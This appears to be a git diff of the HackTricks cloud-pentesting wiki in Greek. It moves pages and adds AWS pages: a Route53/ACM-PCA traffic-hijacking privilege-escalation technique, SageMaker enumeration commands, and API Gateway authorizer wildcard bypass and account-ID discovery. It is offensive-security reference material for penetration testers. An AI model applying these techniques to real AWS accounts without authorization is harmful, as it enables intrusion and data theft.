a/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md new file mode 100644 index 000000000..a61ad4a9f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md @@ -0,0 +1,32 @@ +# AWS - Route53 Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +Για περισσότερες πληροφορίες σχετικά με το Route53 δείτε: + +{{#ref}} +../../aws-services/aws-route53-enum.md +{{#endref}} + +### `route53:CreateHostedZone`, `route53:ChangeResourceRecordSets`, `acm-pca:IssueCertificate`, `acm-pca:GetCertificate` + +> [!NOTE] +> Για να εκτελεστεί αυτή η επίθεση ο στοχευόμενος λογαριασμός πρέπει να έχει ήδη ρυθμισμένο έναν [**AWS Certificate Manager Private Certificate Authority**](https://aws.amazon.com/certificate-manager/private-certificate-authority/) **(AWS-PCA)** στον λογαριασμό, και οι EC2 instances στο/στα VPC(s) πρέπει να έχουν ήδη εισαγάγει τα πιστοποιητικά για να το εμπιστεύονται. Με αυτή την υποδομή στη θέση της, μπορεί να πραγματοποιηθεί η ακόλουθη επίθεση για να παρεμβληθεί στην κίνηση προς τα AWS API. + +Άλλες άδειες που **συνιστώνται αλλά δεν είναι απαραίτητες για το μέρος της ανακάλυψης**: `route53:GetHostedZone`, `route53:ListHostedZones`, `acm-pca:ListCertificateAuthorities`, `ec2:DescribeVpcs` + +Υποθέτοντας ότι υπάρχει ένα AWS VPC με πολλαπλές cloud-native εφαρμογές που επικοινωνούν μεταξύ τους και με τα AWS API. Εφόσον η επικοινωνία μεταξύ των microservices είναι συχνά κρυπτογραφημένη με TLS, απαιτείται μια ιδιωτική CA για την έκδοση έγκυρων πιστοποιητικών για αυτές τις υπηρεσίες. **If ACM-PCA is used** για αυτό και ο αντίπαλος καταφέρει να αποκτήσει **access to control both route53 and acm-pca private CA** με το ελάχιστο σύνολο δικαιωμάτων που περιγράφτηκε παραπάνω, μπορεί να **hijack the application calls to AWS API** και να αναλάβει τα IAM δικαιώματά τους. + +This is possible because: + +- Οι AWS SDKs δεν έχουν [Certificate Pinning](https://www.digicert.com/blog/certificate-pinning-what-is-certificate-pinning) +- Το Route53 επιτρέπει τη δημιουργία Private Hosted Zone και εγγραφών DNS για τα domain names των AWS APIs +- Η Private CA στο ACM-PCA δεν μπορεί να περιοριστεί ώστε να υπογράφει μόνο πιστοποιητικά για συγκεκριμένα Common Names + +**Potential Impact:** Έμμεσο privesc μέσω υποκλοπής ευαίσθητων πληροφοριών στην κίνηση. + +#### Exploitation + +Βρείτε τα βήματα εκμετάλλευσης στην αρχική έρευνα: [**https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/**](https://niebardzo.github.io/2022-03-11-aws-hijacking-route53/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md deleted file mode 100644 index 6637c6645..000000000 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ /dev/null @@ -1,40 +0,0 @@ -# AWS - DocumentDB Enum - -{{#include ../../../banners/hacktricks-training.md}} - -## DocumentDB - -Η Amazon DocumentDB, που προσφέρει συμβατότητα με το MongoDB, παρουσιάζεται ως μια **γρήγορη, αξιόπιστη και πλήρως διαχειριζόμενη υπηρεσία βάσης δεδομένων**. Σχεδιασμένη για απλότητα στην ανάπτυξη, λειτουργία και κλιμάκωση, επιτρέπει τη **χωρίς προβλήματα μετανάστευση και λειτουργία βάσεων δεδομένων συμβατών με το MongoDB στο cloud**. Οι χρήστες μπορούν να εκμεταλλευτούν αυτή την υπηρεσία για να εκτελέσουν τον υπάρχοντα κωδικό εφαρμογής τους και να χρησιμοποιήσουν οικείους οδηγούς και εργαλεία, εξασφαλίζοντας μια ομαλή μετάβαση και λειτουργία παρόμοια με αυτή της εργασίας με το MongoDB. - -### Enumeration -```bash -aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint" -aws docdb describe-db-instances #Get hostnames from here - -# Parameter groups -aws docdb describe-db-cluster-parameter-groups -aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name - -# Snapshots -aws docdb describe-db-cluster-snapshots -aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier -``` -### NoSQL Injection - -Καθώς το DocumentDB είναι μια βάση δεδομένων συμβατή με το MongoDB, μπορείτε να φανταστείτε ότι είναι επίσης ευάλωτο σε κοινές επιθέσεις NoSQL injection: - -{{#ref}} -https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html -{{#endref}} - -### DocumentDB - -{{#ref}} -../aws-unauthenticated-enum-access/aws-documentdb-enum.md -{{#endref}} - -## References - -- [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md new file mode 100644 index 000000000..b02c1cfbc --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md @@ -0,0 +1,40 @@ +# AWS - DocumentDB Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +## DocumentDB + +Το Amazon DocumentDB, που προσφέρει συμβατότητα με το MongoDB, παρουσιάζεται ως μια **γρήγορη, αξιόπιστη και πλήρως διαχειριζόμενη υπηρεσία βάσης δεδομένων**. Σχεδιασμένο για απλότητα στην ανάπτυξη, τη λειτουργία και την κλιμάκωση, επιτρέπει τη **απρόσκοπτη μετανάστευση και λειτουργία βάσεων δεδομένων συμβατών με MongoDB στο cloud**. Οι χρήστες μπορούν να αξιοποιήσουν αυτήν την υπηρεσία για να εκτελέσουν τον υπάρχοντα κώδικα των εφαρμογών τους και να χρησιμοποιήσουν γνώριμους οδηγούς και εργαλεία, διασφαλίζοντας μια ομαλή μετάβαση και λειτουργία παρόμοια με την εργασία με το MongoDB. + +### Enumeration +```bash +aws docdb describe-db-clusters # Get username from "MasterUsername", get also the endpoint from "Endpoint" +aws docdb describe-db-instances #Get hostnames from here + +# Parameter groups +aws docdb describe-db-cluster-parameter-groups +aws docdb describe-db-cluster-parameters --db-cluster-parameter-group-name + +# Snapshots +aws docdb describe-db-cluster-snapshots +aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attributes --db-cluster-snapshot-identifier +``` +### NoSQL Injection + +Δεδομένου ότι το DocumentDB είναι μια βάση δεδομένων συμβατή με το MongoDB, μπορείς να φανταστείς ότι είναι επίσης ευάλωτο σε κοινές επιθέσεις NoSQL injection: + +{{#ref}} +https://book.hacktricks.wiki/en/pentesting-web/nosql-injection.html +{{#endref}} + +### DocumentDB + +{{#ref}} +../../aws-unauthenticated-enum-access/aws-documentdb-enum/README.md +{{#endref}} + +## Αναφορές + +- [https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/](https://aws.amazon.com/blogs/database/analyze-amazon-documentdb-workloads-with-performance-insights/) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md new file mode 100644 index 000000000..0e92260d4 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md @@ -0,0 +1,200 @@ +# AWS - SageMaker Καταγραφή + +{{#include ../../../../banners/hacktricks-training.md}} + +## Επισκόπηση Υπηρεσίας + +Amazon SageMaker είναι η managed πλατφόρμα machine-learning της AWS που συνδέει notebooks, training infrastructure, orchestration, registries και managed endpoints. Μια παραβίαση πόρων SageMaker συνήθως παρέχει: + +- Long-lived IAM execution roles με ευρύ access σε S3, ECR, Secrets Manager ή KMS. +- Πρόσβαση σε ευαίσθητα datasets αποθηκευμένα σε S3, EFS, ή μέσα σε feature stores. +- Network footholds μέσα σε VPCs (Studio apps, training jobs, endpoints). +- High-privilege presigned URLs που παρακάμπτουν το console authentication. + +Η κατανόηση του πώς συναρμολογείται το SageMaker είναι κλειδί πριν pivot, persist, ή exfiltrate data. + +## Βασικά Συστατικά + +- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). Κάθε domain έχει κοινό σύστημα αρχείων EFS και προεπιλεγμένο ρόλο εκτέλεσης. +- **Notebook Instances**: Managed EC2 instances για standalone notebooks; χρησιμοποιούν ξεχωριστούς ρόλους εκτέλεσης. +- **Training / Processing / Transform Jobs**: Ephemeral containers που τραβούν code από ECR και δεδομένα από S3. +- **Pipelines & Experiments**: Orchestrated workflows που περιγράφουν όλα τα βήματα, inputs, και outputs. +- **Models & Endpoints**: Πακεταρισμένα artefacts αναπτυγμένα για inference μέσω HTTPS endpoints. +- **Feature Store & Data Wrangler**: Managed services για προετοιμασία δεδομένων και διαχείριση features. +- **Autopilot & JumpStart**: Αυτοματοποιημένο ML και curated κατάλογος μοντέλων. +- **MLflow Tracking Servers**: Managed MLflow UI/API με presigned access tokens. + +Κάθε resource αναφέρεται σε execution role, S3 locations, container images, και προαιρετική VPC/KMS configuration—capture όλα αυτά κατά τη διάρκεια της enumeration. + +## Account & Global Metadata +```bash +REGION=us-east-1 +# Portfolio status, used when provisioning Studio resources +aws sagemaker get-sagemaker-servicecatalog-portfolio-status --region $REGION + +# List execution roles used by models (extend to other resources as needed) +aws sagemaker list-models --region $REGION --query 'Models[].ExecutionRoleArn' --output text | tr ' ' ' +' | sort -u + +# Generic tag sweep across any SageMaker ARN you know +aws sagemaker list-tags --resource-arn --region $REGION +``` +Σημειώστε τυχόν cross-account trust (execution roles ή S3 buckets με external principals) και βασικούς περιορισμούς, όπως service control policies ή SCPs. + +## Studio Domains, Apps & Shared Spaces +```bash +aws sagemaker list-domains --region $REGION +aws sagemaker describe-domain --domain-id --region $REGION +aws sagemaker list-user-profiles --domain-id-equals --region $REGION +aws sagemaker describe-user-profile --domain-id --user-profile-name --region $REGION + +# Enumerate apps (JupyterServer, KernelGateway, RStudioServerPro, CodeEditor, Canvas, etc.) +aws sagemaker list-apps --domain-id-equals --region $REGION +aws sagemaker describe-app --domain-id --user-profile-name --app-type JupyterServer --app-name default --region $REGION + +# Shared collaborative spaces +aws sagemaker list-spaces --domain-id-equals --region $REGION +aws sagemaker describe-space --domain-id --space-name --region $REGION + +# Studio lifecycle configurations (shell scripts at start/stop) +aws sagemaker list-studio-lifecycle-configs --region $REGION +aws sagemaker describe-studio-lifecycle-config --studio-lifecycle-config-name --region $REGION +``` +Τι να καταγράψετε: + +- `DomainArn`, `AppSecurityGroupIds`, `SubnetIds`, `DefaultUserSettings.ExecutionRole`. +- Τοποθετημένο EFS (`HomeEfsFileSystemId`) και S3 home directories. +- Lifecycle scripts (συχνά περιέχουν bootstrap credentials ή push/pull επιπλέον κώδικα). + +> [!TIP] +> Presigned Studio URLs μπορούν να παρακάμψουν την επαλήθευση ταυτότητας αν χορηγηθούν ευρέως. + +## Notebook Instances & Lifecycle Configs +```bash +aws sagemaker list-notebook-instances --region $REGION +aws sagemaker describe-notebook-instance --notebook-instance-name --region $REGION +aws sagemaker list-notebook-instance-lifecycle-configs --region $REGION +aws sagemaker describe-notebook-instance-lifecycle-config --notebook-instance-lifecycle-config-name --region $REGION +``` +Τα metadata του notebook αποκαλύπτουν: + +- Ρόλος εκτέλεσης (`RoleArn`), άμεση πρόσβαση στο Internet έναντι VPC-only mode. +- Τοποθεσίες S3 σε `DefaultCodeRepository`, `DirectInternetAccess`, `RootAccess`. +- Σενάρια Lifecycle για credentials ή persistence hooks. + +## Training, Processing, Transform & Batch Jobs +```bash +aws sagemaker list-training-jobs --region $REGION +aws sagemaker describe-training-job --training-job-name --region $REGION + +aws sagemaker list-processing-jobs --region $REGION +aws sagemaker describe-processing-job --processing-job-name --region $REGION + +aws sagemaker list-transform-jobs --region $REGION +aws sagemaker describe-transform-job --transform-job-name --region $REGION +``` +Επιθεωρήστε: + +- `AlgorithmSpecification.TrainingImage` / `AppSpecification.ImageUri` – ποιες ECR images αναπτύσσονται. +- `InputDataConfig` & `OutputDataConfig` – S3 buckets, prefixes, και KMS keys. +- `ResourceConfig.VolumeKmsKeyId`, `VpcConfig`, `EnableNetworkIsolation` – καθορίστε τη δικτυακή ή κρυπτογραφική διαμόρφωση. +- `HyperParameters` may leak environment secrets or connection strings. + +## Pipelines, Experiments & Trials +```bash +aws sagemaker list-pipelines --region $REGION +aws sagemaker list-pipeline-executions --pipeline-name --region $REGION +aws sagemaker describe-pipeline --pipeline-name --region $REGION + +aws sagemaker list-experiments --region $REGION +aws sagemaker list-trials --experiment-name --region $REGION +aws sagemaker list-trial-components --trial-name --region $REGION +``` +Οι ορισμοί pipeline αναλύουν κάθε βήμα, τους συνδεδεμένους ρόλους, τα container images και τις environment variables. Τα Trial components συχνά περιέχουν training artefact URIs, S3 logs και metrics που υποδηλώνουν τη ροή ευαίσθητων δεδομένων. + +## Μοντέλα, Διαμορφώσεις Endpoint & Αναπτυγμένα Endpoints +```bash +aws sagemaker list-models --region $REGION +aws sagemaker describe-model --model-name --region $REGION + +aws sagemaker list-endpoint-configs --region $REGION +aws sagemaker describe-endpoint-config --endpoint-config-name --region $REGION + +aws sagemaker list-endpoints --region $REGION +aws sagemaker describe-endpoint --endpoint-name --region $REGION +``` +- S3 URIs των artefact του μοντέλου (`PrimaryContainer.ModelDataUrl`) και των inference container images. +- Ρυθμίσεις endpoint data capture (S3 bucket, KMS) για πιθανή log exfil. +- Multi-model endpoints που χρησιμοποιούν `S3DataSource` ή `ModelPackage` (έλεγχος για cross-account packaging). +- Network configs και ομάδες ασφαλείας που συνδέονται με τα endpoints. + +## Feature Store, Data Wrangler & Clarify +```bash +aws sagemaker list-feature-groups --region $REGION +aws sagemaker describe-feature-group --feature-group-name --region $REGION + +aws sagemaker list-data-wrangler-flows --region $REGION +aws sagemaker describe-data-wrangler-flow --flow-name --region $REGION + +aws sagemaker list-model-quality-job-definitions --region $REGION +aws sagemaker list-model-monitoring-schedule --region $REGION +``` +Σημεία ασφαλείας: + +- Τα online αποθετήρια χαρακτηριστικών αναπαράγουν δεδομένα στο Kinesis· ελέγξτε το `OnlineStoreConfig.SecurityConfig.KmsKeyId` και το VPC. +- Οι ροές Data Wrangler συχνά ενσωματώνουν διαπιστευτήρια JDBC/Redshift ή ιδιωτικά endpoints. +- Οι εργασίες Clarify/Model Monitor εξάγουν δεδομένα σε S3 που μπορεί να είναι world-readable ή cross-account accessible. + +## MLflow Tracking Servers, Autopilot & JumpStart +```bash +aws sagemaker list-mlflow-tracking-servers --region $REGION +aws sagemaker describe-mlflow-tracking-server --tracking-server-name --region $REGION + +aws sagemaker list-auto-ml-jobs --region $REGION +aws sagemaker describe-auto-ml-job --auto-ml-job-name --region $REGION + +aws sagemaker list-jumpstart-models --region $REGION +aws sagemaker list-jumpstart-script-resources --region $REGION +``` +- Οι MLflow tracking servers αποθηκεύουν πειράματα και artefacts· οι presigned URLs μπορούν να αποκαλύψουν τα πάντα. +- Τα Autopilot jobs εκκινούν πολλαπλά training jobs — εξετάστε τα outputs για κρυμμένα δεδομένα. +- Οι JumpStart reference architectures ενδέχεται να αναπτύξουν privileged roles στον λογαριασμό. + +## IAM & Θέματα Δικτύωσης + +- Καταγράψτε τις IAM policies που είναι επισυναπτόμενες σε όλους τους execution roles (Studio, notebooks, training jobs, pipelines, endpoints). +- Ελέγξτε τα network contexts: subnets, security groups, VPC endpoints. Πολλές οργανώσεις απομονώνουν training jobs αλλά ξεχνούν να περιορίσουν την εξερχόμενη κίνηση. +- Ελέγξτε τις S3 bucket policies που αναφέρονται σε `ModelDataUrl`, `DataCaptureConfig`, `InputDataConfig` για εξωτερική πρόσβαση. + +## Privilege Escalation + +{{#ref}} +../../aws-privilege-escalation/aws-sagemaker-privesc/README.md +{{#endref}} + +## Persistence + +{{#ref}} +../../aws-persistence/aws-sagemaker-persistence/README.md +{{#endref}} + +## Post-Exploitation + +{{#ref}} +../../aws-post-exploitation/aws-sagemaker-post-exploitation/README.md +{{#endref}} + +## Unauthorized Access + +{{#ref}} +../aws-sagemaker-unauthorized-access/README.md +{{#endref}} + +## Αναφορές + +- [AWS SageMaker Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/whatis.html) +- [AWS CLI SageMaker Reference](https://docs.aws.amazon.com/cli/latest/reference/sagemaker/index.html) +- [SageMaker Studio Architecture](https://docs.aws.amazon.com/sagemaker/latest/dg/gs-studio.html) +- [SageMaker Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/security.html) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md similarity index 50% rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md index a8bfdf810..e0ace6c7f 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md @@ -1,12 +1,12 @@ -# AWS - Λίστα Χωρίς Αυθεντικοποίηση Λογαριασμών +# AWS - Accounts Unauthenticated Enum -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Αναγνωριστικά Λογαριασμών -Αν έχετε έναν στόχο, υπάρχουν τρόποι να προσπαθήσετε να προσδιορίσετε τα αναγνωριστικά λογαριασμών που σχετίζονται με τον στόχο. +Εάν έχετε έναν στόχο, υπάρχουν τρόποι να προσπαθήσετε να εντοπίσετε τα αναγνωριστικά λογαριασμών των λογαριασμών που σχετίζονται με τον στόχο. -### Βίαιη Δοκιμή +### Brute-Force Δημιουργείτε μια λίστα πιθανών αναγνωριστικών λογαριασμών και ψευδωνύμων και τα ελέγχετε. ```bash @@ -20,24 +20,24 @@ curl -v https://vodafone-uk2.signin.aws.amazon.com ### OSINT -Αναζητήστε urls που περιέχουν `.signin.aws.amazon.com` με ένα **alias σχετικό με τον οργανισμό**. +Αναζητήστε URLs που περιέχουν `.signin.aws.amazon.com` με ένα **alias σχετικό με τον οργανισμό**. ### Marketplace -Εάν ένας προμηθευτής έχει **instances στην αγορά,** μπορείτε να αποκτήσετε το id του κατόχου (account id) του AWS λογαριασμού που χρησιμοποίησε. +Αν ένας προμηθευτής έχει **instances στο marketplace,** μπορείτε να βρείτε το owner id (account id) του AWS account που χρησιμοποίησε. ### Snapshots - Δημόσια EBS snapshots (EC2 -> Snapshots -> Public Snapshots) - Δημόσια RDS snapshots (RDS -> Snapshots -> All Public Snapshots) -- Δημόσια AMIs (EC2 -> AMIs -> Public images) +- Δημόσιες AMIs (EC2 -> AMIs -> Public images) -### Errors +### Σφάλματα -Πολλά μηνύματα σφάλματος AWS (ακόμα και πρόσβαση απορριφθείσα) θα δώσουν αυτές τις πληροφορίες. +Πολλά μηνύματα σφάλματος του AWS (ακόμα και "access denied") θα αποκαλύψουν αυτές τις πληροφορίες. -## References +## Αναφορές - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md deleted file mode 100644 index ea1fb5c51..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md +++ /dev/null @@ -1,52 +0,0 @@ -# AWS - API Gateway Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### API Invoke bypass - -Σύμφωνα με την ομιλία [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), οι Lambda Authorizers μπορούν να ρυθμιστούν **χρησιμοποιώντας σύνταξη IAM** για να δώσουν δικαιώματα για την κλήση API endpoints. Αυτό προέρχεται [**από τα έγγραφα**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Effect": "Permission", -"Action": ["execute-api:Execution-operation"], -"Resource": [ -"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" -] -} -] -} -``` -Το πρόβλημα με αυτόν τον τρόπο παροχής δικαιωμάτων για την κλήση endpoints είναι ότι το **"\*" υποδηλώνει "οτιδήποτε"** και δεν υποστηρίζεται **καμία άλλη σύνταξη regex**. - -Ορισμένα παραδείγματα: - -- Ένας κανόνας όπως `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` προκειμένου να δώσει σε κάθε χρήστη πρόσβαση στο `/dashboard/user/{username}` θα τους δώσει πρόσβαση σε άλλες διαδρομές όπως το `/admin/dashboard/createAdmin` για παράδειγμα. - -> [!WARNING] -> Σημειώστε ότι το **"\*" δεν σταματά να επεκτείνεται με διαχωριστικά**, επομένως, αν χρησιμοποιήσετε "\*" στο api-id για παράδειγμα, μπορεί επίσης να υποδηλώνει "οποιοδήποτε στάδιο" ή "οποιαδήποτε μέθοδο" εφόσον η τελική regex είναι ακόμα έγκυρη.\ -> Έτσι, `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ -> Μπορεί να επικυρώσει ένα αίτημα POST για να δοκιμάσει το στάδιο στη διαδρομή `/prod/GET/dashboard/admin` για παράδειγμα. - -Πρέπει πάντα να έχετε σαφές τι θέλετε να επιτρέψετε να έχει πρόσβαση και στη συνέχεια να ελέγξετε αν είναι δυνατές άλλες καταστάσεις με τα παραχωρηθέντα δικαιώματα. - -Για περισσότερες πληροφορίες, εκτός από τα [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), μπορείτε να βρείτε κώδικα για την υλοποίηση authorizers σε [**αυτό το επίσημο aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). - -### IAM Policy Injection - -Στην ίδια [**ομιλία**](https://www.youtube.com/watch?v=bsPKk7WDOnE) εκτίθεται το γεγονός ότι αν ο κώδικας χρησιμοποιεί **είσοδο χρήστη** για να **δημιουργήσει τις IAM πολιτικές**, wildcards (και άλλα όπως "." ή συγκεκριμένες συμβολοσειρές) μπορούν να περιληφθούν εκεί με στόχο την **παράκαμψη περιορισμών**. - -### Δημόσιο πρότυπο URL -``` -https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} -``` -### Πάρε το ID λογαριασμού από το δημόσιο URL του API Gateway - -Ακριβώς όπως με τα S3 buckets, τα Data Exchange και τα URLs των Lambda gateways, είναι δυνατό να βρείτε το ID λογαριασμού ενός λογαριασμού εκμεταλλευόμενοι το **`aws:ResourceAccount`** **Policy Condition Key** από ένα δημόσιο URL του API Gateway. Αυτό γίνεται βρίσκοντας το ID λογαριασμού ένα χαρακτήρα τη φορά εκμεταλλευόμενοι τα wildcard στην ενότητα **`aws:ResourceAccount`** της πολιτικής.\ -Αυτή η τεχνική επιτρέπει επίσης να αποκτήσετε **τιμές ετικετών** αν γνωρίζετε το κλειδί της ετικέτας (υπάρχουν μερικές προεπιλεγμένες ενδιαφέρουσες). - -Μπορείτε να βρείτε περισσότερες πληροφορίες στην [**πρωτότυπη έρευνα**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) και το εργαλείο [**conditional-love**](https://github.com/plerionhq/conditional-love/) για να αυτοματοποιήσετε αυτή την εκμετάλλευση. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md new file mode 100644 index 000000000..e2633bc81 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md @@ -0,0 +1,52 @@ +# AWS - API Gateway Unauthenticated Enum + +{{#include ../../../../banners/hacktricks-training.md}} + +### API Invoke bypass + +Σύμφωνα με την ομιλία [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers μπορούν να ρυθμιστούν **using IAM syntax** ώστε να παρέχουν δικαιώματα για invoke των API endpoints. Αυτό προέρχεται [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html): +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Permission", +"Action": ["execute-api:Execution-operation"], +"Resource": [ +"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path" +] +} +] +} +``` +Το πρόβλημα με αυτόν τον τρόπο χορήγησης δικαιωμάτων για την κλήση endpoints είναι ότι το **"\*" συνεπάγεται "anything"** και δεν υποστηρίζεται πλέον σύνταξη regex. + +Μερικά παραδείγματα: + +- Ένας κανόνας όπως `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` προκειμένου να δώσει σε κάθε χρήστη πρόσβαση στο `/dashboard/user/{username}` θα τους δώσει πρόσβαση και σε άλλες διαδρομές όπως `/admin/dashboard/createAdmin` για παράδειγμα. + +> [!WARNING] +> Σημειώστε ότι **"\*" δεν σταματά να επεκτείνεται με slashes**, επομένως, αν χρησιμοποιήσετε "\*" στο api-id για παράδειγμα, μπορεί επίσης να υποδηλώνει "any stage" ή "any method" όσο το τελικό regex παραμένει έγκυρο.\ +> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\ +> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example. + +Πρέπει πάντα να είναι σαφές τι θέλετε να επιτρέψετε και στη συνέχεια να ελέγξετε αν υπάρχουν άλλα σενάρια που γίνονται δυνατά με τα παραχωρημένα δικαιώματα. + +Για περισσότερες πληροφορίες, πέρα από τα [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), μπορείτε να βρείτε κώδικα για την υλοποίηση authorizers στο [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints). + +### IAM Policy Injection + +Στην ίδια [**talk**](https://www.youtube.com/watch?v=bsPKk7WDOnE) αποκαλύπτεται το γεγονός ότι αν ο κώδικας χρησιμοποιεί **user input** για να **generate the IAM policies**, wildcards (και άλλα όπως "." ή συγκεκριμένα strings) μπορούν να συμπεριληφθούν εκεί με στόχο το **bypassing restrictions**. + +### Πρότυπο δημόσιου URL +``` +https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} +``` +### Λήψη Account ID από public API Gateway URL + +Όπως με τα S3 buckets, Data Exchange και Lambda URLs gateways, είναι δυνατό να βρεις το Account ID ενός λογαριασμού εκμεταλλευόμενος το **`aws:ResourceAccount`** **Policy Condition Key** από ένα public API Gateway URL. Αυτό γίνεται βρίσκοντας το Account ID χαρακτήρα-χαρακτήρα εκμεταλλευόμενοι wildcards στην ενότητα **`aws:ResourceAccount`** της policy.\ +Αυτή η τεχνική επιτρέπει επίσης την ανάκτηση των **values of tags** εάν γνωρίζεις το tag key (υπάρχουν μερικά προεπιλεγμένα ενδιαφέροντα). + +Μπορείτε να βρείτε περισσότερες πληροφορίες στην [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) και στο εργαλείο [**conditional-love**](https://github.com/plerionhq/conditional-love/) για να αυτοματοποιήσετε αυτήν την εκμετάλλευση. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md deleted file mode 100644 index dcf140626..000000000 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Cloudfront Unauthenticated Enum - -{{#include ../../../banners/hacktricks-training.md}} - -### Δημόσιο πρότυπο URL -``` -https://{random_id}.cloudfront.net -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md new file mode 100644 index 000000000..58d8b654f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md @@ -0,0 +1,9 @@ +# AWS - 